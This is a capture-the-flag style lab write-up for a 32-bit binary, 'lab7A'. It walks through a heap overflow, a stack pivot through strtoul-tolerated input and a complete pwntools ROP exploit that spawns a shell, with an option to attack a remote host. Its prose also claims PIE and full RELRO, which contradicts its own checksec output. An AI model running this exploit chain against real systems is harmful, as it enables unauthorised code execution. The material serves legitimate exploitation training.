For this lab, we are given a program and its corresponding source code:
/* compiled with: gcc -static -z relro -z now -fstack-protector-all -o lab7A lab7A.c */
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <time.h>
#include "utils.h"
ENABLE_TIMEOUT(60)
#define MAX_MSG 10
#define MAX_BLOCKS 32
#define BLOCK_SIZE 4
struct msg {
void (* print_msg)(struct msg *);
unsigned int xor_pad[MAX_BLOCKS];
unsigned int message[MAX_BLOCKS];
unsigned int msg_len;
};
struct msg * messages[MAX_MSG];
/* apply one time pad */
void encdec_message(unsigned int * message, unsigned int * xor_pad)
{
int i = 0;
for(i = 0; i < MAX_BLOCKS; i++)
message[i] ^= xor_pad[i];
}
/* print information about the given message */
void print_message(struct msg * to_print)
{
unsigned int i = 0;
char * xor_pad;
char * message;
xor_pad = (char *)&to_print->xor_pad;
message = (char *)&to_print->message;
/* print the message's xor pad */
printf("\nXOR Pad: \n"
"-----------------------------------------\n");
for(i = 0; i < BLOCK_SIZE*MAX_BLOCKS; i++)
{
printf("%02x", xor_pad[i] & 0xFF);
if(i % 32 == 31)
puts("");
}
/* print encrypted message */
printf("\nEncrypted Message: \n"
"-----------------------------------------\n");
for(i = 0; i < BLOCK_SIZE*MAX_BLOCKS; i++)
{
printf("%02x", message[i] & 0xFF);
if(i % 32 == 31)
puts("");
}
puts("");
}
/* creates a message */
int create_message()
{
int i, j;
struct msg * new_msg = NULL;
/* find a free message slot */
for(i = 0; i < MAX_MSG; i++)
if(messages[i] == NULL)
break;
/* make sure we actually found an empty slot */
if(messages[i])
{
printf("-No message slots left!\n");
return 1;
}
printf("-Using message slot #%u\n", i);
/* initialize new message */
new_msg = malloc(sizeof(struct msg));
memset(new_msg, 0, sizeof(struct msg));
new_msg->print_msg = &print_message;
for(j = 0; j < MAX_BLOCKS; j++)
new_msg->xor_pad[j] = rand();
/* get the length of data the user intends to encrypt */
printf("-Enter data length: ");
new_msg->msg_len = get_unum();
if(new_msg->msg_len == 0)
{
printf("-Message length must be greater than zero!\n");
free(new_msg);
return 1;
}
/* make sure the message length is no bigger than the xor pad */
if((new_msg->msg_len / BLOCK_SIZE) > MAX_BLOCKS)
new_msg->msg_len = BLOCK_SIZE * MAX_BLOCKS;
/* read in the message to encrypt with the xor pad */
printf("-Enter data to encrypt: ");
read(0, &new_msg->message, new_msg->msg_len);
/* encrypt message */
encdec_message(new_msg->message, new_msg->xor_pad);
/* save the new message to the global list */
messages[i] = new_msg;
return 0;
}
int edit_message()
{
char numbuf[32];
unsigned int i = 0;
/* get message index to destroy */
printf("-Input message index to edit: ");
fgets(numbuf, sizeof(numbuf), stdin);
i = strtoul(numbuf, NULL, 10);
if(i >= MAX_MSG || messages[i] == NULL)
{
printf("-Invalid message index!\n");
return 1;
}
printf("-Input new message to encrypt: ");
/* clear old message, and read in a new one */
memset(&messages[i]->message, 0, BLOCK_SIZE * MAX_BLOCKS);
read(0, &messages[i]->message, messages[i]->msg_len);
/* encrypt message */
encdec_message(messages[i]->message, messages[i]->xor_pad);
return 0;
}
/* free a secure message */
int destroy_message()
{
char numbuf[32];
unsigned int i = 0;
/* get message index to destroy */
printf("-Input message index to destroy: ");
fgets(numbuf, sizeof(numbuf), stdin);
i = strtoul(numbuf, NULL, 10);
if(i >= MAX_MSG || messages[i] == NULL)
{
printf("-Invalid message index!\n");
return 1;
}
/* destroy message */
memset(messages[i], 0, sizeof(struct msg));
free(messages[i]);
messages[i] = NULL;
return 0;
}
/* print a message at a select index */
int print_index()
{
char numbuf[32];
unsigned int i = 0;
/* get message index to print */
printf("-Input message index to print: ");
fgets(numbuf, sizeof(numbuf), stdin);
i = strtoul(numbuf, NULL, 10);
if(i >= MAX_MSG || messages[i] == NULL)
{
printf("-Invalid message index!\n");
return 1;
}
/* print the message of interest */
messages[i]->print_msg(messages[i]);
return 0;
}
/* the vulnerability is in here */
void print_menu()
{
printf("+---------------------------------------+\n"
"| Doom's OTP Service v1.0 |\n"
"+---------------------------------------+\n"
"|------------ Services Menu ------------|\n"
"|---------------------------------------|\n"
"| 1. Create secure message |\n"
"| 2. Edit secure message |\n"
"| 3. Destroy secure message |\n"
"| 4. Print message details |\n"
"| 5. Quit |\n"
"+---------------------------------------+\n");
}
int main()
{
int choice = 0;
srand(time(NULL));
disable_buffering(stdout);
while(1)
{
print_menu();
/* get menu option */
printf("Enter Choice: ");
choice = get_unum();
printf("-----------------------------------------\n");
/* handle menu selection */
if(choice == 1)
{
if(create_message())
printf("-Failed to create message!\n");
else
printf("-Message created successfully!\n");
}
else if(choice == 2)
{
if(edit_message())
printf("-Failed to edit message!\n");
else
printf("-Message has been successfully modified!\n");
}
else if(choice == 3)
{
if(destroy_message())
printf("-Failed to destroy message!\n");
else
printf("-Message destroyed!\n");
}
else if(choice == 4)
{
if(print_index())
printf("-Failed to print message!\n");
}
else if(choice == 5)
{
break; // exit
}
else
printf("-Invalid choice!\n");
choice = 0;
puts("");
}
printf("See you tomorrow!\n");
return EXIT_SUCCESS;
}
If we run checksec
, we can see that NX, PIE and full RELRO are enabled.
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE
Unfortunately, this is a statically linked executable, so we cannot leverage the partial RELRO to perform a GOT overwrite.
$ file lab7A
lab7A: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=b36434382916ba1173b79765eed040ad6d41c4bc, not stripped
However, the fact that this binary is not compiled with PIE tells us that we do not need an address leak to be able to find valid ROP gadgets from the binary.
Vulnerability
This program allows us to create messages which are subsequently xor’d with a randomly generated 32-byte one-time pad. We can edit these messages, destroy them, and print out their details.
The first vulnerability we can see is a heap overflow introduced in the following length check. For clarity, I’ve removed code that doesn’t concern us.
new_msg->msg_len = get_unum();
/* make sure the message length is no bigger than the xor pad */
if((new_msg->msg_len / BLOCK_SIZE) > MAX_BLOCKS)
new_msg->msg_len = BLOCK_SIZE * MAX_BLOCKS;
/* read in the message to encrypt with the xor pad */
printf("-Enter data to encrypt: ");
read(0, &new_msg->message, new_msg->msg_len);
When a user attempts to create a message, the program asks the user to specify a message length.
This length is then checked by dividing it by the global BLOCK_SIZE
, which is 4, and comparing the result to the global MAX_BLOCKS
which is 32.
If the result is greater than 32
, then the message length is automatically truncated to 128 bytes.
The final message length is then used to specify the number of bytes to read into the 128 byte unsigned int message[]
buffer.
But what happens if we specify the message length to be a value between 128 and 132 bytes? For example, 131 bytes?
In the C programming language, the result is always floored for the division of positive integers. Therefore, if we specify 131 bytes, we will still pass the length check since 131/4 = 32.
This gives us a 3-byte overflow primitive!
And what comes after the unsigned int message[]
buffer?
The message length!
struct msg {
void (* print_msg)(struct msg *);
unsigned int xor_pad[MAX_BLOCKS];
unsigned int message[MAX_BLOCKS];
unsigned int msg_len;
};
We can use this heap overflow primitive to overwrite our message’s own msg_len
member and make it arbitrarily large up to 0xffffff
.
We can subsequently use this newly overwritten length later in the edit_message()
function to perform another heap overflow and corrupt any data after our initial heap chunk, including the print_msg()
function pointer of the next chunk, allowing us to control EIP when we print out the message details of the 2nd chunk.
Here is what 2 allocated messages look like in the heap, before editing the 1st message. Notice the corrupted size of 0x414141
at 0x80f1af4
.
gdb-peda$ x/200xw 0x80f19f0
0x80f19f0: 0x08048fd3 0x3533af89 0x61d321ab 0x0b083d7c
0x80f1a00: 0x1d75527c 0x1a2f4272 0x1f39293d 0x59e6bd11
0x80f1a10: 0x0ec2e802 0x09d26e5d 0x78cc57f2 0x0de00461
0x80f1a20: 0x7a11f3b6 0x1f091eed 0x72c574d1 0x66deaad5
0x80f1a30: 0x54d00421 0x7fa2d710 0x7e5f193b 0x67057a3f
0x80f1a40: 0x220d0a03 0x0a958023 0x4d3a5fbf 0x1b9c3b04
0x80f1a50: 0x150236a1 0x57f3cd3a 0x3a0749a4 0x37160cd7
0x80f1a60: 0x0c0418c7 0x4b93806d 0x3119bc44 0x25c568e7
0x80f1a70: 0x00c72ff6 0x7472eec8 0x209260ea 0x4a497c3d
0x80f1a80: 0x5c34133d 0x5b6e0333 0x5e78687c 0x18a7fc50
0x80f1a90: 0x4f83a943 0x48932f1c 0x398d16b3 0x4ca14520
0x80f1aa0: 0x3b50b2f7 0x5e485fac 0x33843590 0x279feb94
0x80f1ab0: 0x15914560 0x3ee39651 0x3f1e587a 0x26443b7e
0x80f1ac0: 0x634c4b42 0x4bd4c162 0x0c7b1efe 0x5add7a45
0x80f1ad0: 0x544377e0 0x16b28c7b 0x7b4608e5 0x76574d96
0x80f1ae0: 0x4d455986 0x0ad2c12c 0x7058fd05 0x648429a6
0x80f1af0: 0x41866eb7 0x00414141 0x00000000 0x00000111
0x80f1b00: 0x08048fd3 0x12ecddef 0x30cda664 0x1e3c8272
0x80f1b10: 0x2d1c2061 0x5006cfa1 0x78233f83 0x3bdf0863
0x80f1b20: 0x59d93dff 0x70ef9775 0x49bf0cc4 0x53eb31b5
0x80f1b30: 0x0ff8b663 0x3c848195 0x3ac9dc8a 0x64c8ba84
0x80f1b40: 0x3c2758a5 0x3928f5c5 0x4bce34c4 0x5e3462a9
0x80f1b50: 0x43be75e8 0x19089483 0x79d09dad 0x58c0ac89
0x80f1b60: 0x70fc61be 0x33d7e751 0x0fd6b961 0x7d007a85
0x80f1b70: 0x7f6b67be 0x40f075a5 0x22c5e36c 0x003297b4
0x80f1b80: 0x53dd5394 0x12ecddde 0x30cda664 0x1e3c8272
0x80f1b90: 0x2d1c2061 0x5006cfa1 0x78233f83 0x3bdf0863
0x80f1ba0: 0x59d93dff 0x70ef9775 0x49bf0cc4 0x53eb31b5
0x80f1bb0: 0x0ff8b663 0x3c848195 0x3ac9dc8a 0x64c8ba84
0x80f1bc0: 0x3c2758a5 0x3928f5c5 0x4bce34c4 0x5e3462a9
0x80f1bd0: 0x43be75e8 0x19089483 0x79d09dad 0x58c0ac89
0x80f1be0: 0x70fc61be 0x33d7e751 0x0fd6b961 0x7d007a85
0x80f1bf0: 0x7f6b67be 0x40f075a5 0x22c5e36c 0x003297b4
0x80f1c00: 0x53dd5394 0x00000001 0x00000000 0x000203f9
And here is what the same chunks look like after we overflow our message data from the 1st chunk to the 2nd chunk using the 1st chunk’s corrupted size to replace its original message with 2000 B’s
gdb-peda$ x/200xw 0x80f19f0
0x80f19f0: 0x08048fd3 0x3533af89 0x61d321ab 0x0b083d7c
0x80f1a00: 0x1d75527c 0x1a2f4272 0x1f39293d 0x59e6bd11
0x80f1a10: 0x0ec2e802 0x09d26e5d 0x78cc57f2 0x0de00461
0x80f1a20: 0x7a11f3b6 0x1f091eed 0x72c574d1 0x66deaad5
0x80f1a30: 0x54d00421 0x7fa2d710 0x7e5f193b 0x67057a3f
0x80f1a40: 0x220d0a03 0x0a958023 0x4d3a5fbf 0x1b9c3b04
0x80f1a50: 0x150236a1 0x57f3cd3a 0x3a0749a4 0x37160cd7
0x80f1a60: 0x0c0418c7 0x4b93806d 0x3119bc44 0x25c568e7
0x80f1a70: 0x00c72ff6 0x7771edcb 0x239163e9 0x494a7f3e
0x80f1a80: 0x5f37103e 0x586d0030 0x5d7b6b7f 0x1ba4ff53
0x80f1a90: 0x4c80aa40 0x4b902c1f 0x3a8e15b0 0x4fa24623
0x80f1aa0: 0x3853b1f4 0x5d4b5caf 0x30873693 0x249ce897
0x80f1ab0: 0x16924663 0x3de09552 0x3c1d5b79 0x2547387d
0x80f1ac0: 0x604f4841 0x48d7c261 0x0f781dfd 0x59de7946
0x80f1ad0: 0x574074e3 0x15b18f78 0x78450be6 0x75544e95
0x80f1ae0: 0x4e465a85 0x09d1c22f 0x735bfe06 0x67872aa5
0x80f1af0: 0x42856db4 0x42424242 0x42424242 0x42424242
0x80f1b00: 0x42424242 0x42424242 0x42424242 0x42424242
0x80f1b10: 0x42424242 0x42424242 0x42424242 0x42424242
0x80f1b20: 0x42424242 0x42424242 0x42424242 0x42424242
0x80f1b30: 0x42424242 0x42424242 0x42424242 0x42424242
0x80f1b40: 0x42424242 0x42424242 0x42424242 0x42424242
0x80f1b50: 0x42424242 0x42424242 0x42424242 0x42424242
0x80f1b60: 0x42424242 0x42424242 0x42424242 0x42424242
0x80f1b70: 0x42424242 0x42424242 0x42424242 0x42424242
0x80f1b80: 0x42424242 0x42424242 0x42424242 0x42424242
0x80f1b90: 0x42424242 0x42424242 0x42424242 0x42424242
0x80f1ba0: 0x42424242 0x42424242 0x42424242 0x42424242
0x80f1bb0: 0x42424242 0x42424242 0x42424242 0x42424242
0x80f1bc0: 0x42424242 0x42424242 0x42424242 0x42424242
0x80f1bd0: 0x42424242 0x42424242 0x42424242 0x42424242
0x80f1be0: 0x42424242 0x42424242 0x42424242 0x42424242
0x80f1bf0: 0x42424242 0x42424242 0x42424242 0x42424242
0x80f1c00: 0x42424242 0x42424242 0x42424242 0x42424242
Usually at this point we would replace the print_msg()
function pointer of the 2nd chunk with a pointer to system()
, but that will not work in this case, since we also need “/bin/sh” to be passed in as the argument, and messages[i]->print_msg(messages[i]);
uses a function pointer on the stack that we can’t control as its argument to pass into the function pointer.
Additionally, this binary is statically compiled and system()
does not exist in it.
gdb-peda$ p system
No symbol table is loaded. Use the "file" command.
Therefore, we need to generate a shell by using ROP. This is where things get interesting.
Stack Pivot/ROP
I found getting from control of EIP to spawning a shell to be the most challenge part of this lab.
When we have control of EIP, this is what our context looks like:
gdb-peda$ context
[----------------------------------registers-----------------------------------]
EAX: 0x42424242 ('BBBB')
EBX: 0x80481a8 (<_init>: push ebx)
ECX: 0xffffd42d --> 0x4008000a
EDX: 0x80f1b00 ('B' <repeats 200 times>...)
ESI: 0x0
EDI: 0x80ecfbc --> 0x8069190 (<__stpcpy_sse2>: mov edx,DWORD PTR [esp+0x4])
EBP: 0xffffd458 --> 0xffffd488 --> 0x8049e70 (<__libc_csu_fini>: push ebx)
ESP: 0xffffd410 --> 0x80f1b00 ('B' <repeats 200 times>...)
EIP: 0x804951f (<print_index+158>: call eax)
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8049512 <print_index+145>: mov edx,DWORD PTR [ebp-0x30]
0x8049515 <print_index+148>: mov edx,DWORD PTR [edx*4+0x80eef60]
0x804951c <print_index+155>: mov DWORD PTR [esp],edx
=> 0x804951f <print_index+158>: call eax
0x8049521 <print_index+160>: mov eax,0x0
0x8049526 <print_index+165>: mov ecx,DWORD PTR [ebp-0xc]
0x8049529 <print_index+168>: xor ecx,DWORD PTR gs:0x14
0x8049530 <print_index+175>: je 0x8049537 <print_index+182>
Guessed arguments:
arg[0]: 0x80f1b00 ('B' <repeats 200 times>...)
[------------------------------------stack-------------------------------------]
0000| 0xffffd410 --> 0x80f1b00 ('B' <repeats 200 times>...)
0004| 0xffffd414 --> 0x0
0008| 0xffffd418 --> 0xa ('\n')
0012| 0xffffd41c --> 0x80ed240 --> 0xfbad2887
0016| 0xffffd420 --> 0x80ed240 --> 0xfbad2887
0020| 0xffffd424 --> 0x29 (')')
0024| 0xffffd428 --> 0x1
0028| 0xffffd42c --> 0x8000a31
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
At first glance, it doesn’t seem like we control any data on the stack. So, in order to ROP, we need to do a stack pivot to the heap, which is where we control data. There we can place our ROP chain gadgets to spawn a shell.
Unfortunately, I could not find any gadgets to successfully do this. Especially since we can only use 1 gadget to pivot to the heap. We would also ideally need to pivot to an address around 0x80f1b00
, but not to 0x80f1b00
itself, since that is where our initial stack pivot gadget will be, especially if our pivot involves an xchg
.
After some help, I realized that we actually can control some data on the stack, through another vulnerability.
When we print out a message, the programs asks us to specify the index for the message we’d like to print. However, the code block responsible for checking this user provided input is vulnerable.
char numbuf[32];
unsigned int i = 0;
/* get message index to print */
printf("-Input message index to print: ");
fgets(numbuf, sizeof(numbuf), stdin);
i = strtoul(numbuf, NULL, 10);
if(i >= MAX_MSG || messages[i] == NULL)
{
printf("-Invalid message index!\n");
return 1;
}
Notice how the program first calls fgets()
to copy the user provided message index to the 32 byte char numbuf[]
buffer.
strtoul()
is then called on the string stored inside the numbuf[]
buffer to convert it to an int.
The resulting int is then compared to MAX_MSG
to determine whether or not is is a valid message index.
However, strtoul()
’s default behavior allows extra data to be stored after an integer.
For example, calling strtoul("1CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC", NULL, 10);
will still return 1!
This allows us to pass the message index check while at the same time, placing values that we control onto the stack.
gdb-peda$ telescope $esp 20
0000| 0xffffdc40 --> 0x80f1b00 ('B' <repeats 200 times>...)
0004| 0xffffdc44 --> 0x0
0008| 0xffffdc48 --> 0xa ('\n')
0012| 0xffffdc4c --> 0x80ed240 --> 0xfbad2887
0016| 0xffffdc50 --> 0x80ed240 --> 0xfbad2887
0020| 0xffffdc54 --> 0x29 (')')
0024| 0xffffdc58 --> 0x1
0028| 0xffffdc5c ("1", 'C' <repeats 30 times>)
0032| 0xffffdc60 ('C' <repeats 27 times>)
0036| 0xffffdc64 ('C' <repeats 23 times>)
0040| 0xffffdc68 ('C' <repeats 19 times>)
0044| 0xffffdc6c ('C' <repeats 15 times>)
0048| 0xffffdc70 ('C' <repeats 11 times>)
0052| 0xffffdc74 ("CCCCCCC")
0056| 0xffffdc78 --> 0x434343 ('CCC')
Being able to write extra data on the stack affords us multiple gadgets we can now use to set up our stack pivot, instead of limiting us to only 1 gadget.
From there, it is a simple matter of generating the right gadgets and determining the right offsets within our user input to place them at.
Putting everything together, the following exploit will grant us a shell.
Solution
#!/usr/bin/env python
from pwn import *
import sys
from struct import pack
def rop_chain():
p = ''
p += pack('<I', 0x0807030a) # pop edx ; ret
p += pack('<I', 0x080ed000) # @ .data
p += pack('<I', 0x080bd226) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x080a3a1d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0807030a) # pop edx ; ret
p += pack('<I', 0x080ed004) # @ .data + 4
p += pack('<I', 0x080bd226) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x080a3a1d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0807030a) # pop edx ; ret
p += pack('<I', 0x080ed008) # @ .data + 8
p += pack('<I', 0x08055b40) # xor eax, eax ; ret
p += pack('<I', 0x080a3a1d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ed000) # @ .data
p += pack('<I', 0x080e76ad) # pop ecx ; ret
p += pack('<I', 0x080ed008) # @ .data + 8
p += pack('<I', 0x0807030a) # pop edx ; ret
p += pack('<I', 0x080ed008) # @ .data + 8
p += pack('<I', 0x08055b40) # xor eax, eax ; ret
p += pack('<I', 0x0807cd76) # inc eax ; ret
p += pack('<I', 0x0807cd76) # inc eax ; ret
p += pack('<I', 0x0807cd76) # inc eax ; ret
p += pack('<I', 0x0807cd76) # inc eax ; ret
p += pack('<I', 0x0807cd76) # inc eax ; ret
p += pack('<I', 0x0807cd76) # inc eax ; ret
p += pack('<I', 0x0807cd76) # inc eax ; ret
p += pack('<I', 0x0807cd76) # inc eax ; ret
p += pack('<I', 0x0807cd76) # inc eax ; ret
p += pack('<I', 0x0807cd76) # inc eax ; ret
p += pack('<I', 0x0807cd76) # inc eax ; ret
p += pack('<I', 0x08048ef6) # int 0x80
return p
def exploit(r):
r.recvuntil("Choice: ")
# heap chunk 1
r.sendline("1")
r.recvuntil(": ")
r.sendline("131")
r.recvuntil(": ")
r.sendline("A"*131)
r.recvuntil("Choice: ")
# heap chunk 2
r.sendline("1")
r.recvuntil(": ")
r.sendline("1")
r.recvuntil(": ")
r.sendline("1")
r.recvuntil("Choice: ")
# edit heap chunk 1
r.sendline("2")
r.recvuntil(": ")
r.sendline("0")
r.recvuntil(": ")
payload_1 = 'A'*140
payload_1 += p32(0x080b29c1) # GADGET 1 # dec ebp ; add esp, 0x24 ; mov eax, edx ; pop ebx ; pop esi ; ret
payload_1 += 'AAAA' # filler
payload_1 += rop_chain()
r.sendline(payload_1) # trigger overflow!
r.recvuntil("Choice: ")
# print heap chunk 2
r.sendline("4")
r.recvuntil(": ")
payload_2 = '1'+'A'*7
payload_2 += p32(0x080ec008) # static address popped into esi
payload_2 += p32(0x08097ce3) # GADGET 2 # add eax, 8 ; pop edi ; ret
payload_2 += "AAAA" # filler
payload_2 += p32(0x080e2e52) # GADGET 3 # xchg eax, esp ; or cl, byte ptr [esi] ; adc al, 0x41 ; ret
payload_2 += 'A'*(31-24) # filler
r.sendline(payload_2)
r.success('Enjoy your shell...')
r.interactive()
if __name__ == "__main__":
log.info("For remote: %s HOST PORT" % sys.argv[0])
if len(sys.argv) > 1:
r = remote(sys.argv[1], int(sys.argv[2]))
exploit(r)
else:
r = process(['./lab7A'])
print util.proc.pidof(r)
pause()
exploit(r)
NOTE: After solving this challenge, someone pointed out to me that I could’ve solved it using 2 gadgets instead of 3 gadgets. GADGET 2 is actually not needed. Had I replaced GADGET 2 with GADGET 3, I would’ve returned to GADGET 1, but that is OK, because GADGET 1 moves up the stack anyway, placing us in a good position to begin our ROP chain.